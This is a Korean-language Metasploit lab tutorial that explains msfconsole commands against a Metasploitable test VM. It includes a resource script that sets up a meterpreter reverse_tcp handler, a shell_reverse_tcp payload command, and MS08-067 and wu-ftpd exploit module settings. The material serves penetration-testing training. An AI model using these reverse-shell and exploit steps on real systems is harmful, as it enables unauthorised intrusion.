루비확장(Rex, Ruby Extension) 라이브러리는 메타스플로잇의 필수다. Rex의 일부 컴포넌트는 클라이언트와 서버 프로토콜을 구현한 소켓 시스템, 로깅 시스템, 공격에 활용되는 클래스 등 많은 유용한 클래스를 포함하고 있다. Rex 자체는 루비에서 기본적으로 설치되는 것과 달리 의존적이지 않게 설계되었다.
■ Msf::Core
● Provides the 'basic' API
● Defines the Metasploit Framework
■ Msf::Base
● Provides the 'friendly' API
● Provides simplified APIs for use in the Framework
(2) 모듈(Modules) 종류
■ Exploits
● Defined as modules that use payloads
● An exploit without a payload is an Auxiliary module
■ Payloads, Encoders, Nops
● Payloads consist of code that runs remotely
● Encoders ensure that payloads make it to their destination
● Nops keep the payload sizes consistent.
(2-1) 중요 모듈에 대한 설명
■ MSFpaylocad
● 다른 프래임워크의 많은 익스플로잇과 실행가능한 파일, 쉘코드등을 만들 수 있게 도와준다.
● 쉘코드는 C, 루비(Ruby), 자바스크립트(JavaScript), 비주얼베이직(Visual Baic)등으로 만들수 있다.예) 파이썬(Python) 기반의 프로그램 검증이 필요하면 C 스타일로 작성하면 좋다.예) 브라우저 익스플로잇을 만들려면 자바스크립트 형식으로 만들면 좋다.
● 보통 명령어 수행시 도움말을 보고 싶다면 # msfpayload -h 수행하면 된다.
● 또는 msfcli 명령어의 옵션을 자세히 보고 싶다면 명령의 마지막 부분에 '0'이라고 입력하면 된다.# msfpayload windows/shell_reverse_tcp 0
■ MSFencode
● 메타스플로잇 개발자들은 인코딩을 통해 안티바이러스나 IDS등, bad characters를 회피할 수 있게 해준다.(예) @ cleartext : 표시할 때 설명이 필요 없는 텍스트, 즉 암호화 되지 않음 평문
● 보통 명령어 수행시 도움말을 보고 싶다면# msfencode -h
■ Auxiliary(조력자, 보조)
● 익스플로잇의 집합체(엄밀히 말해서 auxiliary는 익스플로잇이 포함되어 있지 않다.)이다.
● 18가지 정도로 분류되어 있다.
(3) 인터페이스의 종류
■ msfconsole
● 가장 유연하고, 풍부한 문자와 지원이 잘되는 도구하는 이유로 메타스플로잇 프레임워크 가운데 가장 많이 이용하고 있다.
● msfconsole을 이용하여 공격을 수행하고, 보조 모듈을 로딩하며, enumeration 실행, 리스너 생성, 또는 전체 네트워크에 대해 방대한 공격을 수행할 수 있다.
■ msfcli
● msfconsole과 msfcli 차이점(대화형 모드 ) msfconsole(비대화형 모드) msfcli
● 콘솔 기반 도구를 가지고 스크립트에 기초한것이다. 즉, 프레임워크에 각 인터프리터를 제공하지 않고, 커맨드라인 인터페이스에서 직접 실행된 다른 도구에서 나온 결과를 msfcli에 다시 전달하고, msfcli의 결과를 다른 커맨드라인 도구에 전달한다.
● 또한 msfcli는 공격과 보조 모듈을 실행할 수 있으며, 프레임워크에서 모듈과 개발된 새로운 공격 코드를 테스트할 때 훨씬 편리하다.
■ msfgui
● 라파엘 머지(Raphael Mudge)가 개발한 완벽한 대화형 GUI 인터페이스이다.
● 쉽고, 기능이 많으며, 무료로 사용할 수 있다.
■ msfweb
● 메타스플로잇 웹 인터페이스이다.
(실습을 위한 선수 작업)
● 선수 작업1 : Metasploitable V2 Linux 서버 구축 및 설정
● 선수 작업2 : VMware Tools 설치에 대해서
------------------------ 선수 작업1 ----------------------------
Metasploitable V2 Linux 서버 구축 및 설정
(Metasploitable V2 Linux 정보 확인)
로그인: msfadmin/msfadmin
$ ifconfig
$ netstat -nr
$ cat /etc/resolv.conf
$ uname -a
$ cat /etc/lsb-release (# ls /etc/*release)
VMware > Edit > - VMware > Edit > Virtual Network Editor > VMnet8(NAT) > [ V ] Use local DHCP service to distribute IP address to VMsMetasploitable Linux 네트워크 정보(주의) eth0 반드시 NAT로 변경(Host only -> NAT) IP: 192.168.10.134/24 (DHCP 서버로 부터 받은 IP) defaultrouter: 192.168.10.2 DNS Server : 192.168.10.2/168.126.63.1
(네트워크 작업 과정)
$ sudo vi /etc/network/interfaces
------------------------------------
[수정전]
auto eth0
iface eth0 inet dhcp
[수정후]
auto eth0
iface eth0 inet static
address 192.168.10.134
network 192.168.10.0
netmask 255.255.255.0
gateway 192.168.10.2
broadcast 192.168.10.255
------------------------------------
$ sudo ifdown eth0
$ sudo ifup eth0
$ ifconfig eth0
------------------------ 선수 작업1 ----------------------------
------------------------ 선수 작업2 ----------------------------
[참고] VMware Tools 설치에 대해서
As of Sept 2015, VMware recommends using the distribution-specific open-vm-tools instead of the VMware Tools package for guest machines. To install open-vm-tools in Kali, enter the following:
# apt-get update
# apt-get install open-vm-tools-desktop fuse
# reboot
------------------------ 선수 작업2 ----------------------------
[실습] 메타스포잇 프레임워크(metasploit framework) 관련 디렉토리 및 파일 정보 확인
■ 사용시스템
- KaliLinux
① 메타스포잇 프로레임워크 디렉토리 구조 확인
# cd /usr/share/metasploit-framework/
# ls
Gemfile metasploit-framework-db.gemspec msfdb msfvenom
Gemfile.lock metasploit-framework-full.gemspec msfelfscan plugins
Rakefile metasploit-framework-pcap.gemspec msfmachscan ruby
app metasploit-framework.gemspec msfpescan scripts
config modules msfrop tools
data msfbinscan msfrpc vendor
db msfconsole msfrpcd
lib msfd msfupdate
[참고] 디렉토리 구조(Metasploit Filesystem)
-----------------------------------------------------------
data: editable files used by Metasploit
documnentation: provides documentation for the framework
external: source code and third-party libraries
lib: the 'meat' of the framework code base
modules: the actual MSF modules
plugins: plugins that can be loaded at run-time
scripts: Meterpreter and other scripts
tools: various useful command-line utilities
-----------------------------------------------------------
② 모듈 디렉토리 목록 확인
# cd modules
# ls
auxiliary/ encoders/ exploits/ nops/ payloads/ post/
[참고] 각 모듈에 대한 설명
----------------------------------------------------------------------------
Exploits Defined as modules that use payloads
Auxiliary An exploit without a payload is an Auxiliary module
Payloads Payloads consist of code that runs remotely
Encoders Encoders ensure that payloads make it to their destination
Nops Nops keep the payload sizes consistent.
----------------------------------------------------------------------------
③ auxiliary 모듈 디렉토리 목록 확인
# cd auxiliary
# ls
admin bnat crawler dos gather pdf server spoof voip
analyze client docx fuzzers parser scanner sniffer sqli vsploit
④ msfconsole 사용법 읽히기
■ msfconsole 간단한 사용법 읽히기
# msfconsole -h
Usage: msfconsole [options]
Common options
-E, --environment ENVIRONMENT The Rails environment. Will use RAIL_ENV environment variable if that is set. Defaults to production if neither option not RAILS_ENV environment variable is set.
Database options
-M, --migration-path DIRECTORY Specify a directory containing additional DB migrations
-n, --no-database Disable database support
-y, --yaml PATH Specify a YAML file containing database settings
Framework options
-c FILE Load the specified configuration file
-v, --version Show version
Module options
--defer-module-loads Defer module loading unless explicitly asked.
-m, --module-path DIRECTORY An additional module path
Console options:
-a, --ask Ask before exiting Metasploit or accept 'exit -y'
-d, --defanged Execute the console as defanged
-L, --real-readline Use the system Readline library instead of RbReadline
-o, --output FILE Output to the specified file
-p, --plugin PLUGIN Load a plugin on startup
-q, --quiet Do not print the banner on startup
-r, --resource FILE Execute the specified resource file (- for stdin)
-x, --execute-command COMMAND Execute the specified string as console commands (use ; for multiples)
-h, --help Show this message
# msfconsole -v
Framework Version: 4.11.5-2016010401
# msfconsole
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
Validate lots of vulnerabilities to demonstrate exposure
with Metasploit Pro -- Learn more on http://rapid7.com/metasploit
=[ metasploit v4.11.5-2016010401 ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > quit
# msfconsole -q
msf > quit
# msfconsole
# cowsay++
____________
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
Save 45% of your time on large engagements with Metasploit Pro
Learn more on http://rapid7.com/metasploit
=[ metasploit v4.11.5-2016010401 ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > help
Core Commands
=============
Command Description
------- -----------
? Help menu
advanced Displays advanced options for one or more modules
back Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
edit Edit the current module with $VISUAL or $EDITOR
exit Exit the console
get Gets the value of a context-specific variable
getg Gets the value of a global variable
grep Grep the output of another command
help Help menu
info Displays information about one or more modules
irb Drop into irb scripting mode
jobs Displays and manages jobs
kill Kill a job
load Load a framework plugin
loadpath Searches for and loads modules from a path
makerc Save commands entered since start to a file
options Displays global options or for one or more modules
popm Pops the latest module off the stack and makes it active
previous Sets the previously loaded module as the current module
pushm Pushes the active or list of modules onto the module stack
quit Exit the console
reload_all Reloads all modules from all defined module paths
rename_job Rename a job
resource Run the commands stored in a file
route Route traffic through a session
save Saves the active datastores
search Searches module names and descriptions
sessions Dump session listings and display information about sessions
set Sets a context-specific variable to a value
setg Sets a global variable to a value
show Displays modules of a given type, or all modules
sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the screen
threads View and manipulate background threads
unload Unload a framework plugin
unset Unsets one or more context-specific variables
unsetg Unsets one or more global variables
use Selects a module by name
version Show the framework and console library version numbers
Database Backend Commands
=========================
Command Description
------- -----------
creds List all credentials in the database
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces
msf > help info
Usage: info <module name> [mod2 mod3 ...]
Optionally the flag '-j' will print the data in json format
Queries the supplied module or modules for information. If no module is given,
show info for the currently active module.
msf > help search
Usage: search [keywords]
Keywords:
app : Modules that are client or server attacks
author : Modules written by this author
bid : Modules with a matching Bugtraq ID
cve : Modules with a matching CVE ID
edb : Modules with a matching Exploit-DB ID
name : Modules with a matching descriptive name
osvdb : Modules with a matching OSVDB ID
platform : Modules affecting this platform
ref : Modules with a matching ref
type : Modules of a specific type (exploit, auxiliary, or post)
Examples:
search cve:2009 type:exploit app:client
msf > help show
[*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, plugins, info, options
[*] Additional module-specific parameters are: missing, advanced, evasion, targets, actions
msf >
msf > show -h /* 어떤 명령어들은 뒤에 -h 옵션을 붙여야 하는 경우도 있다. */
[*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, plugins, info, options
[*] Additional module-specific parameters are: missing, advanced, evasion, targets, actions
msf > show auxiliary
Auxiliary
=========
Name Disclosure Date Rank Description
---- --------------- ---- -----------
admin/2wire/xslt_password_reset 2007-08-15 normal 2Wire Cross-Site Request Forgery Password Reset Vulnerability
admin/backupexec/dump normal Veritas Backup Exec Windows Remote File Access
admin/backupexec/registry normal Veritas Backup Exec Server Registry Access
admin/cisco/cisco_secure_acs_bypass normal Cisco Secure ACS Unauthorized Password Change
admin/cisco/vpn_3000_ftp_bypass 2006-08-23 normal Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access
..... (중략) .....
msf > s[TAB][TAB]
save search services sessions set setg show sleep spool
msf > show a[TAB][TAB]
show all show auxiliary
msf > show aux[TAB] /* [TAB] 사용 가능하다. - 명령어 자동 완성 */
..... (중략) .....
msf > clear
msf > <↑><↑><↑><↑><↓><↓><↓><↓>
msf > quit
■ mfsconsole core command 사용법 읽히기
# msfconsole -q
■ back 명령어
Once you have finished working with a particular module, or if you inadvertently select the wrong module, you can issue the ‘back’ command to move out of the current context. This, however is not required. Just as you can in commercial routers, you can switch modules from within other modules. As a reminder, variables will only carry over if they are set globally.
msf > help back
Usage: back
Return to the global dispatcher context
msf > show auxiliary
..... (중략) .....
msf > use vsploit/pii/web_pii
msf auxiliary(web_pii) > back
msf >
■ banner 명령어
Simply displays a randomly selected banner
msf > help banner
Usage: banner
Print a stunning ascii art banner along with version information and module counts
msf > banner
IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|\`.""'.
II 6. .P : .' / | \ `. :
II 'T;. .;P' '.' / | \ `.'
II 'T; ;P' `. / | \ .'
IIIIII 'YvP' `-.__|__.-'
I love shells --egypt
Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
Learn more on http://rapid7.com/metasploit
=[ metasploit v4.11.5-2016010401 ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
■ check 명령어
There aren’t many exploits that support it, but there is also a ‘check’ option that will check to see if a target is vulnerable to a particular exploit instead of actually exploiting it.
msf > help check
[-] No such command
msf > search ms08_067_netapi
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/smb/ms08_067_netapi 2008-10-28 great MS08-067 Microsoft Server Service Relative Path Stack Corruption
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > check
[-] Check failed: The following options failed to validate: RHOST.
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > set RHOST 192.168.10.134
RHOST => 192.168.10.134
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.10.134 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > check
[*] 192.168.10.134:445 - The target is not exploitable.
msf exploit(ms08_067_netapi) > back
msf >
■ color 명령어
You can enable or disable if the output you get through the msfconsole will contain colors.
msf > help color
Usage: color <'true'|'false'|'auto'>
Enable or disable color output.
msf > color false
msf > banner
..... (중략) ....
msf > color auto
msf > banner
..... (중략) ....
■ edit 명령어
The edit command will edit the current module with $VISUAL or $EDITOR. By default this will open the current module in Vim.
msf > help edit
Usage: edit
Edit the currently active module with /usr/bin/vim.
When done editing, you must reload the module with 'reload' or 'rexploit'.
msf > use auxiliary/scanner/rservices/rlogin_login
msf auxiliary(rlogin_login) > edit
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::RServices
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Login
include Msf::Auxiliary::CommandShell
def initialize
super(
'Name' => 'rlogin Authentication Scanner',
'Description' => %q{
This module will test an rlogin service on a range of machines and
report successful logins.
NOTE: This module requires access to bind to privileged ports (below 1024).
},
'References' =>
:q!
msf auxiliary(rlogin_login) > back
msf >
■ exit 명령어
The exit command will simply exit msfconsole.
■ help 명령어
The help command will give you a list and small description of all available commands.
■ info 명령어
The info command will provide detailed information about a particular module including all options, targets, and other information. Be sure to always read the module description prior to using it as some may have un-desired effects.
The info command also provides the following information:
● The author and licensing information
● Vulnerability references (ie: CVE, BID, etc)
● Any payload restrictions the module may have
msf > help info
Usage: info <module name> [mod2 mod3 ...]
Optionally the flag '-j' will print the data in json format
Queries the supplied module or modules for information. If no module is given,
show info for the currently active module.
msf > search rlogin
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/scanner/rservices/rlogin_login normal rlogin Authentication Scanner
exploit/windows/brightstor/lgserver_rxrlogin 2007-06-06 average CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow
exploit/windows/http/solarwinds_fsm_userlogin 2015-03-13 excellent Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Vulnerability
post/windows/gather/credentials/mremote normal Windows Gather mRemote Saved Password Extraction
msf > info auxiliary/scanner/rservices/rlogin_login
Name: rlogin Authentication Scanner
Module: auxiliary/scanner/rservices/rlogin_login
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
jduck <jduck@metasploit.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
FROMUSER no The username to login from
FROMUSER_FILE /usr/share/metasploit-framework/data/wordlists/rservices_from_users.txt no File containing from usernames, one per line
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target address range or CIDR identifier
RPORT 513 yes The target port
SPEED 9600 yes The terminal speed desired
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
TERM vt100 yes The terminal type desired
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
Description:
This module will test an rlogin service on a range of machines and
report successful logins. NOTE: This module requires access to bind
to privileged ports (below 1024).
References:
http://cvedetails.com/cve/1999-0651/
http://cvedetails.com/cve/1999-0502/
msf > use auxiliary/scanner/rservices/rlogin_login
msf auxiliary(rlogin_login) > info
Name: rlogin Authentication Scanner
Module: auxiliary/scanner/rservices/rlogin_login
License: Metasploit Framework License (BSD)
Rank: Normal
..... (중략) .....
msf auxiliary(rlogin_login) > back
msf >
■ irb 명령어
Running the irb command will drop you into a live Ruby interpreter shell where you can issue commands and create Metasploit scripts on the fly. This feature is also very useful for understanding the internals of the Framework.
msf > help irb
Usage: irb
Execute commands in a Ruby environment
OPTIONS:
-e <opt> Expression to evaluate.
-h Help banner.
msf > irb
[*] Starting IRB shell...
>> puts "hello, metasploit!"
hello, metasploit!
=> nil
>> Framework::Version
=> "4.11.5-2016010401"
>> quit
msf >
■ jobs 명령어
Jobs are modules that are running in the background. The jobs command provides the ability to list and terminate these jobs.
msf > help jobs
Usage: jobs [options]
Active job manipulation and interaction.
OPTIONS:
-K Terminate all running jobs.
-h Help banner.
-i <opt> Lists detailed information about a running job.
-k <opt> Terminate jobs by job ID and/or range.
-l List all running jobs.
-v Print more detailed info. Use with -i and -l
msf > resource /root/bin/reverse_resource.rc /* # msfconsole -r reverse_resource.rc */
[*] Processing /root/bin/reverse_resource.rc for ERB directives.
resource (/root/bin/reverse_resource.rc)> use exploit/multi/handler
resource (/root/bin/reverse_resource.rc)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
resource (/root/bin/reverse_resource.rc)> set LHOST 192.168.20.50
LHOST => 192.168.20.50
resource (/root/bin/reverse_resource.rc)> set ExitSession false
ExitSession => false
resource (/root/bin/reverse_resource.rc)> exploit -j -z
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.20.50:4444
msf exploit(handler) > [*] Starting the payload handler...
<ENTER>
msf exploit(handler) > jobs
Jobs
====
Id Name Payload LPORT
-- ---- ------- -----
0 Exploit: multi/handler windows/x64/meterpreter/reverse_tcp 4444
msf exploit(handler) > back
msf >
■ kill 명령어
The kill command will kill any running jobs when supplied with the job id.
msf > help kill
Usage: kill <job1> [job2 ...]
Equivalent to 'jobs -k job1 -k job2 ...'
OPTIONS:
-K Terminate all running jobs.
-h Help banner.
-i <opt> Lists detailed information about a running job.
-k <opt> Terminate jobs by job ID and/or range.
-l List all running jobs.
-v Print more detailed info. Use with -i and -l
msf > jobs
Jobs
====
Id Name Payload LPORT
-- ---- ------- -----
0 Exploit: multi/handler windows/x64/meterpreter/reverse_tcp 4444
msf > kill 0
[*] Stopping the following job(s): 0
[*] Stopping job 0
msf > jobs
Jobs
====
No active jobs.
■ resource 명령어
The resource command runs resource (batch) files that can be loaded through msfconsole.
msf > help resource
Usage: resource path1 [path2 ...]
Run the commands stored in the supplied files. Resource files may also contain
ruby code between <ruby></ruby> tags.
See also: makerc
msf > resource /root/bin/reverse_resource.rc
..... (중략) .....
<ENTER>
msf exploit(handler) > exit
# echo version > version.rc
# msfconsole -q -r version.rc
[*] Processing version.rc for ERB directives.
resource (version.rc)> version
Framework: 4.11.5-2016010401
Console : 4.11.5-2016010401.15168
msf >
■ route 명령어
The “route” command in Metasploit allows you to route sockets through a session or ‘comm’, providing basic pivoting capabilities. To add a route, you pass the target subnet and network mask followed by the session (comm) number.
msf > help route
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]
Route traffic destined to a given subnet through a supplied session.
The default comm is Local.
EX) meterpreter > route
-> 나중에 작업하게 됩니다.
■ search 명령어
The msfconsole includes an extensive regular-expression based search functionality. If you have a general idea of what you are looking for you can search for it via ‘search ‘. In the output below, a search is being made for MS Bulletin MS09-011. The search function will locate this string within the module names, descriptions, references, etc.
msf > help search
Usage: search [keywords]
Keywords:
app : Modules that are client or server attacks
author : Modules written by this author
bid : Modules with a matching Bugtraq ID
cve : Modules with a matching CVE ID
edb : Modules with a matching Exploit-DB ID
name : Modules with a matching descriptive name
osvdb : Modules with a matching OSVDB ID
platform : Modules affecting this platform
ref : Modules with a matching ref
type : Modules of a specific type (exploit, auxiliary, or post)
Examples:
search cve:2009 type:exploit app:client
msf > search usermap_script
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/multi/samba/usermap_script 2007-05-14 excellent Samba "username map script" Command Execution
msf > search name:mysql
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/mysql/mysql_enum normal MySQL Enumeration Module
auxiliary/admin/mysql/mysql_sql normal MySQL SQL Generic Query
auxiliary/analyze/jtr_mysql_fast normal John the Ripper MySQL Password Cracker (Fast Mode)
auxiliary/scanner/mysql/mysql_authbypass_hashdump 2012-06-09 normal MySQL Authentication Bypass Password Dump
auxiliary/scanner/mysql/mysql_file_enum normal MYSQL File/Directory Enumerator
auxiliary/scanner/mysql/mysql_hashdump normal MYSQL Password Hashdump
auxiliary/scanner/mysql/mysql_login normal MySQL Login Utility
auxiliary/scanner/mysql/mysql_schemadump normal MYSQL Schema Dump
auxiliary/scanner/mysql/mysql_version normal MySQL Server Version Enumeration
auxiliary/server/capture/mysql normal Authentication Capture: MySQL
exploit/linux/mysql/mysql_yassl_getname 2010-01-25 good MySQL yaSSL CertDecoder::GetName Buffer Overflow
exploit/linux/mysql/mysql_yassl_hello 2008-01-04 good MySQL yaSSL SSL Hello Message Buffer Overflow
exploit/windows/mysql/mysql_mof 2012-12-01 excellent Oracle MySQL for Microsoft Windows MOF Execution
exploit/windows/mysql/mysql_payload 2009-01-16 excellent Oracle MySQL for Microsoft Windows Payload Execution
exploit/windows/mysql/mysql_start_up 2012-12-01 excellent Oracle MySQL for Microsoft Windows FILE Privilege Abuse
exploit/windows/mysql/mysql_yassl_hello 2008-01-04 average MySQL yaSSL SSL Hello Message Buffer Overflow
exploit/windows/mysql/scrutinizer_upload_exec 2012-07-27 excellent Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential
msf > search platform:aix
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/aix/local/ibstat_path 2013-09-24 excellent ibstat $PATH Privilege Escalation
exploit/aix/rpc_cmsd_opcode21 2009-10-07 great AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow
exploit/aix/rpc_ttdbserverd_realpath 2009-06-17 great ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)
payload/aix/ppc/shell_bind_tcp normal AIX Command Shell, Bind TCP Inline
payload/aix/ppc/shell_find_port normal AIX Command Shell, Find Port Inline
payload/aix/ppc/shell_interact normal AIX execve Shell for inetd
payload/aix/ppc/shell_reverse_tcp normal AIX Command Shell, Reverse TCP Inline
post/aix/hashdump normal AIX Gather Dump Password Hashes
post/multi/manage/sudo normal Multiple Linux / Unix Post Sudo Upgrade Shell
post/multi/recon/local_exploit_suggester normal Multi Recon Local Exploit Suggester
msf > search type:post
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
post/aix/hashdump normal AIX Gather Dump Password Hashes
post/android/capture/screen normal Android Screen Capture
post/android/manage/remove_lock 2013-10-11 normal Android Settings Remove Device Locks (4.0-4.3)
post/android/manage/remove_lock_root normal Android Root Remove Device Locks (root)
post/cisco/gather/enum_cisco normal Cisco Gather Device General Information
..... (중략) .....
■ sessions 명령어
The ‘sessions’ command allows you to list, interact with, and kill spawned sessions. The sessions can be shells, Meterpreter sessions, VNC, etc.
msf > help sessions
Usage: sessions [options]
Active session manipulation and interaction.
OPTIONS:
-K Terminate all sessions
-c <opt> Run a command on the session given with -i, or all
-h Help banner
-i <opt> Interact with the supplied session ID
-k <opt> Terminate sessions by session ID and/or range
-l List all active sessions
-q Quiet mode
-r Reset the ring buffer for the session given with -i, or all
-s <opt> Run a script on the session given with -i, or all
-t <opt> Set a response timeout (default: 15)
-u <opt> Upgrade a shell to a meterpreter session on many platforms
-v List verbose fields
Many options allow specifying session ranges using commas and dashes.
For example: sessions -s checkvm -i 1,3-5 or sessions -k 1-2,5,6
EX) msf > sessoins -l
msf > sessions -i 2
-> 나중에 사용이 됩니다.
■ set/unset 명령어
The ‘set’ command allows you to configure Framework options and parameters for the current module you are working with.
The opposite of the ‘set’ command, of course, is ‘unset’. ‘Unset’ removes a parameter previously configured with ‘set’. You can remove all assigned variables with ‘unset all’.
msf > help set
Usage: set [option] [value]
Set the given option to value. If value is omitted, print the current value.
If both are omitted, print options that are currently set.
If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore
msf > help unset
Usage: unset [-g] var1 var2 var3 ...
The unset command is used to unset one or more variables.
To flush all entires, specify 'all' as the variable name.
With -g, operates on global datastore variables.
msf > search wuftpd
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/multi/ftp/wuftpd_site_exec_format 2000-06-22 great WU-FTPD SITE EXEC/INDEX Format String Vulnerability
msf > use exploit/multi/ftp/wuftpd_site_exec_format
msf exploit(wuftpd_site_exec_format) > show options
Module options (exploit/multi/ftp/wuftpd_site_exec_format):
Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOST yes The target address
RPORT 21 yes The target port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(wuftpd_site_exec_format) > set RHOST 192.168.10.134
RHOST => 192.168.10.134
msf exploit(wuftpd_site_exec_format) > set FTPPASS jang4sc@hanmail.net
FTPPASS => jang4sc@hanmail.net
msf exploit(wuftpd_site_exec_format) > show options
Module options (exploit/multi/ftp/wuftpd_site_exec_format):
Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS jang4sc@hanmail.net no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOST 192.168.10.134 yes The target address
RPORT 21 yes The target port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(wuftpd_site_exec_format) > unset RHOST
Unsetting RHOST...
msf exploit(wuftpd_site_exec_format) > show options
Module options (exploit/multi/ftp/wuftpd_site_exec_format):
Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS jang4sc@hanmail.net no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOST yes The target address
RPORT 21 yes The target port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(wuftpd_site_exec_format) > unset all
Flushing datastore...
msf exploit(wuftpd_site_exec_format) > set
Global
======
No entries in data store.
Module: multi/ftp/wuftpd_site_exec_format
=========================================
Name Value
---- -----
ConnectTimeout 10
DisablePayloadHandler false
EXITFUNC process
EnableContextEncoding false
FTPDEBUG false
FTPPASS mozilla@example.com
FTPTimeout 16
FTPUSER anonymous
PrependChrootBreak true
RPORT 21
SSL false
SSLVerifyMode PEER
SSLVersion TLS1
TCP::max_send_size 0
TCP::send_delay 0
VERBOSE false
WfsDelay 0
msf exploit(wuftpd_site_exec_format) > back
msf >
■ show 명령어
Entering ‘show’ at the msfconsole prompt will display every module within Metasploit.
msf > help show
[*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, plugins, info, options
[*] Additional module-specific parameters are: missing, advanced, evasion, targets, actions
msf > show all
msf > show encoders
msf > show nops
msf > show exploits
msf > show payloads
msf > show auxiliary
msf > show options
msf > show advanced
msf > show targets
msf > use exploit/multi/ftp/wuftpd_site_exec_format
msf exploit(wuftpd_site_exec_format) > show options
Module options (exploit/multi/ftp/wuftpd_site_exec_format):
Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOST yes The target address
RPORT 21 yes The target port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(wuftpd_site_exec_format) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Slackware 2.1 (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)
2 RedHat 6.2 (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000)
3 Debug
msf exploit(wuftpd_site_exec_format) > show advanced
Module advanced options (exploit/multi/ftp/wuftpd_site_exec_format):
Name : CHOST
Current Setting:
Description : The local client address
Name : CPORT
Current Setting:
Description : The local client port
Name : ConnectTimeout
Current Setting: 10
Description : Maximum number of seconds to establish a TCP connection
